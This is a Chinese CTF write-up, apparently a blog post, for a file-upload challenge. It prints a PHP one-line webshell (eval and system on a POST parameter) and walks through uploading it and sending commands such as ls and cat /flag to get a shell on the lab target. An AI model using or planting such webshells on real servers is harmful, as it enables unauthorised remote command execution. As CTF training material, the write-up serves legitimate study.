zoukankan      html  css  js  c++  java
  • BUU UPLOAD COURSE | 一句话木马实操(PHP)

    这是一道上传一句话木马的裸题,解题思路也很明确,现在此详细记录,以供日后复习知识点用
    一句话木马:当知道了URL,就可以利用本地一张网页进行连接得到Webshell

    php 一句话木马

    <?php @eval($_POST["x"]);?>
    

    当这条语句被服务端执行了,我们同时利用 POST 请求上传变量 x 的值,例如 x=echo 'Hello'

    php 解析器执行的实质上是 @eval("echo 'Hello'"),即在前端输出一个字符串

    更常见的利用手法是利用 @eval(system($_POST["x"])) 直接控制服务端的 shell

    同时提交 x=ls ,便可以通过 shell 输出当前网页目录下的其他文件,注入其他命令同理

    实操

    题目链接
    用浏览器连接靶机,有一个可以提交文件的页面,随便 sumbit 一个文本文件

    提示:文件已储存在: uploads/xxx.jpg

    可以在 ?file=uploads/xxx.jpg 查看,有相应的内容回显

    这是一个最普通的 php 脚本,保存改后缀为 .php 尝试上传

    <?php echo 'Hello World!'; ?>
    

    在访问时回显 Hello Worl! 说明自定义的 php 脚本被成功执行

    把脚本修改成一句话木马

    <?php @eval(system($_POST["x"]));?>
    

    成功上传后,访问相应的 ?file=uploads/xxx.jpg,页面空白,说明 php 命令被成功执行

    将 url 复制到 Postman ,编辑 Body(Post 的表单)为 x:ls

    成功拿到 shell,接下来找到 flag 所在的目录就好了

    你甚至可以提交 x:find -name / 'flag' 暴力找,最后提交 cat /flag 拿到 flag

  • 相关阅读:
    C#时间差
    centos8安装ffmpeg
    CentOS8同步时间
    安装Supervisor
    ajax 传递 token
    .net core 3.1 中 的跨域设置
    jaeger 本地编译
    Kubernates 环境搭建
    linux : find
    Linux: 文件分割和合并
  • 原文地址:https://www.cnblogs.com/zhwer/p/13373087.html
Copyright © 2011-2022 走看看